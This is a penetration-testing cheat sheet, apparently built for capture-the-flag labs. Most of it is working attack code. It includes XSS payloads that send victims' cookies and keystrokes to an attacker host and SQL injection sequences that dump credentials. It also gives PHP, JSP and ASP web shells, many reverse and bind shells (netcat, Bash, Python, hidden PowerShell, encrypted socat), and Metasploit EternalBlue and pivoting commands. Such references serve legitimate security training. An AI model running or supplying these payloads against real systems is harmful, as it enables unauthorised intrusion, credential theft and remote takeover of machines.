Exploitation: Gaining Access

A practical reference for penetration testing techniques, from initial exploitation to establishing stable shell connections.

Encoding & Decoding

Data is often encoded in various formats during exploitation. Here are quick commands to handle common encodings.

Base64

# Encode
echo "https://www.hackthebox.eu/" | base64

# Decode
echo "aHR0cHM6Ly93d3cuaGFja3RoZWJveC5ldS8K" | base64 -d

Hexadecimal

# Encode
echo "https://www.hackthebox.eu/" | xxd -p

# Decode
echo "68747470733a2f2f7777772e6861636b746865626f782e65752f0a" | xxd -p -r

ROT13

# Encode
echo "https://www.hackthebox.eu/" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

# Decode
echo "uggcf://jjj.unpxgurobk.rh/" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

Web Exploitation

Cross-Site Scripting (XSS)

XSS allows us to execute JavaScript in a victim’s browser. This can be used for session theft, keylogging, or defacing pages.

Basic Proof of Concept

<script>alert('XSS');</script>

Session Stealing

Captures the victim’s cookie, encodes it in Base64, and sends it to our server:

<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

Key Logger

Records everything the victim types and forwards it to us:

<script>document.onkeypress = function(e) { 
    fetch('https://hacker.thm/log?key=' + btoa(e.key));
}</script>

Business Logic Abuse

Changes the user’s email address (useful for account takeover):

<script>user.changeEmail('[email protected]');</script>

HTML Injection

Changes the site’s background:

<style> 
    body { background-image: url('https://academy.hackthebox.com/images/logo.svg'); } 
</style>

Filter Evasion Techniques

When filters block common keywords:

JavaScript escape:

';alert('THM');//

Script tag filter bypass:

<sscriptcript>alert('THM');</sscriptcript>

Angle bracket filter bypass:

/images/cat.jpg" onload="alert('THM');

Polyglot (catches most filter variations):

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

Quick Cookie Display

Useful for testing reflected XSS:

#"><img src=/ onerror=alert(document.cookie)>

Cross-Site Request Forgery (CSRF)

CSRF tricks users into performing unintended actions. We can load remote JavaScript payloads:

"><script src=//www.example.com/exploit.js></script>

SQL Injection

SQL injection lets us interact with a database through unsanitized user input.

Basic SQL Structure

Select statements:

-- All columns
select * from users;

-- Specific columns
select username, password from users;

-- Limit results
select * from users LIMIT 1;

-- Skip first result, then limit
select * from users LIMIT 1,1;

-- Filter results
select * from users where username='admin';
select * from users where username != 'admin';
select * from users where username='admin' or username='jon';
select * from users where username='admin' and password='p4ssword';

-- Wildcard searches
select * from users where username like 'a%';      -- starts with 'a'
select * from users where username like '%n';       -- ends with 'n'
select * from users where username like '%mi%';     -- contains 'mi'

Union statements (combine results):

select name,address,city,postcode from customers 
union 
select company,address,city,postcode from suppliers;

Insert, Update, Delete:

-- Insert new row
insert into users (username,password) values ('bob','password123');

-- Update existing row
update users set username='root',password='pass123' where username='admin';

-- Delete row
delete from users where username='martin';

-- Delete all data (dangerous!)
delete from users;

Union-Based SQL Injection

Step-by-step enumeration:

  1. Test for vulnerability (comment out the rest):
https://website.thm/blog?id=2;--
  1. Determine column count (increase until no error):
1 union select 1
1 union select 1,2,3
  1. Display our data (use 0 to return no results from original query):
0 union select 1,2,3
  1. Get database name:
0 union select 1,2,database()
  1. List tables:
0 UNION SELECT 1,2,group_concat(table_name) 
FROM information_schema.tables 
WHERE table_schema = 'sqli_one'
  1. List columns in a table:
0 UNION SELECT 1,2,group_concat(column_name) 
FROM information_schema.columns 
WHERE table_name = 'staff_users'
  1. Extract credentials:
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') 
FROM staff_users

Authentication Bypass

Bypass login forms without knowing credentials:

Original query:

select * from users where username='%username%' and password='%password%' LIMIT 1;

Bypass payload:

' OR 1=1;--

This creates:

select * from users where username='' and password='' OR 1=1;

Blind SQL Injection

When errors aren’t displayed, we use boolean or time-based techniques.

Boolean-Based (true/false responses):

  1. Check if user exists:
admin123' UNION SELECT 1;--
  1. Enumerate database name letter by letter:
admin123' UNION SELECT 1,2,3 where database() like 'a%';--
admin123' UNION SELECT 1,2,3 where database() like 's%';--
  1. Find tables:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables 
WHERE table_schema = 'sqli_three' and table_name like 'a%';--
  1. Find columns:
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS 
WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';
  1. Extract data:
admin123' UNION SELECT 1,2,3 from users where username like 'a%'
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%'

Time-Based (when no visual feedback exists)

Use sleep() to detect success:

admin123' union select sleep(5);--
admin123' union select 1,sleep(5);--

If the response delays by 5 seconds, our query executed successfully.

PostgreSQL with Metasploit

# Dump the schema
use auxiliary/scanner/postgres/postgres_schemadump
run postgres://postgres:[email protected]/postgres

# Query specific table
use auxiliary/admin/postgres/postgres_sql
run postgres://postgres:[email protected]/postgres sql='select * from users'

Web Shells

Web shells give us command execution through the web server.

PHP Shells

Basic Linux shell:

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

Or simpler:

<?php system($_REQUEST["cmd"]); ?>

Deploy via command line:

echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php

Usage:

# Browser
http://SERVER_IP:PORT/shell.php?cmd=id

# Curl
curl http://SERVER_IP:PORT/shell.php?cmd=id

Get reverse shell through web shell:

nc <lhost> <lport> -e /bin/bash

Kali includes pre-built shells:

/usr/share/webshells/php/php-reverse-shell.php

JSP Shell

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

ASP Shell

<% eval request("cmd") %>

Common Web Roots

ServerPath
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\

Shell Connections

Netcat Shells

Netcat is the Swiss Army knife of networking.

Reverse Shells (target connects to us)

Start listener on our machine:

nc -lvnp <port>
# -l = listen, -v = verbose, -n = no DNS, -p = port

Bash reverse shell:

bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'

# Or directly:
bash -i >& /dev/tcp/10.10.14.45/8443 0>&1

Using named pipe:

mkfifo /tmp/f; nc <lhost> <port> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

URL-encoded for command injection:

bash -c 'bash -i >%26 /dev/tcp/10.10.14.93/4333 0>%261'

PowerShell reverse shell:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<lhost>",<lport>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Bind Shells (we connect to target)

Target runs:

  • Bash:
mkfifo /tmp/f; nc <local-ip> <port> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
  • Python:
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
  • PowerShell:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

We connect:

nc <rhost> 1234

Socat Shells

Socat provides more feature-rich connections than Netcat.

Reverse Shell with Socat

Our machine (listener):

socat TCP-L:<port> -

Linux target:

socat TCP:<lhost>:<lport> EXEC:"bash -li"

Windows target:

socat TCP:<lhost>:<lport> EXEC:powershell.exe,pipes

Bind Shell with Socat

Linux target:

socat TCP-L:<port> EXEC:"bash -li"

Windows target:

socat TCP-L:<port> EXEC:powershell.exe,pipes

Our machine (connect):

socat TCP:<rhost>:<rport> -

Fully Stable TTY Shell

Our machine:

socat TCP-L:<port> FILE:`tty`,raw,echo=0

Linux target:

socat TCP:<lhost>:<lport> EXEC:"bash -li",pty,stderr,sigint,setid,sane

Add -d -d for debugging output.

Encrypted Socat Shells

Generate certificate:

openssl req --newkey rsa:2048 -nodes -keyout shell.key -X509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem

Encrypted reverse shell:

# Our machine
socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 -

# Target
socat OPENSSL:<lhost>:<lport>,verify=0 EXEC:/bin/bash

Encrypted bind shell:

# Target
socat openssl-listen:<port>,cert=shell.pem,verify=0 exec:cmd.exe,pipes

# Our machine
socat openssl:<rhost>:<rport>,verify=0 -

Encrypted TTY shell:

# Listener
socat openssl-listener:<port>,cert=encrypt.pem,verify=0 file=`tty`,raw,echo=0

# Speaker
socat openssl:<lhost>:<lport>,verify=0 exec:"bash -li",pty,stderr,sigint,setsid,sane

Shell Stabilization

Basic shells are often unstable. Here is how to improve them.

Python PTY (Linux)

On the target:

python -c 'import pty; pty.spawn("/bin/bash")'
# Or python3:
python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm

Then on our machine:

  1. Press Ctrl+Z to background
  2. Run: stty raw -echo; fg
  3. Press Enter twice

Using RLWRAP (Best for Windows)

rlwrap adds readline capabilities:

rlwrap nc -lvnp <port>

For Linux shells, further stabilize with:

  1. Ctrl+Z to background
  2. stty raw -echo; fg

Terminal Size

Fix display issues by matching terminal dimensions:

Our machine:

stty -a  # Note rows and columns

Target:

stty rows <number>
stty cols <number>

Metasploit Framework

A powerful exploitation platform.

Basic Usage

Search for exploits:

# Search exploit database
searchsploit openssh 7.2

# Launch Metasploit
msfconsole

# Search within Metasploit
search exploit eternalblue
search cve:2009 type:exploit

Configure and run:

# Select exploit
use exploit/windows/smb/ms17_010_psexec

# View options
show options

# Set targets
set rhost 10.10.10.40       # Target IP
set lhost tun0              # Our IP (VPN interface)

# Check if vulnerable (if available)
check

# Execute
exploit

Session Management

Upgrade to Meterpreter:

sessions -u -1

Resolve hostnames:

resolve webservice_database

Pivoting

Route traffic through compromised hosts:

# Add route through last session
route add <ip>/32 -1

# View routes
route print

SOCKS Proxy for Pivoting

use auxiliary/server/socks_proxy
run srvhost=127.0.0.1 srvport=9050 version=4a

Test the proxy:

curl --proxy socks4a://localhost:9050 http://172.17.0.1 -v

Scan through proxy:

proxychains -q nmap -n -sT -Pn -p 22,80,443,5432 172.17.0.1

SSH through Metasploit:

use auxiliary/scanner/ssh/ssh_login
run ssh://username:[email protected]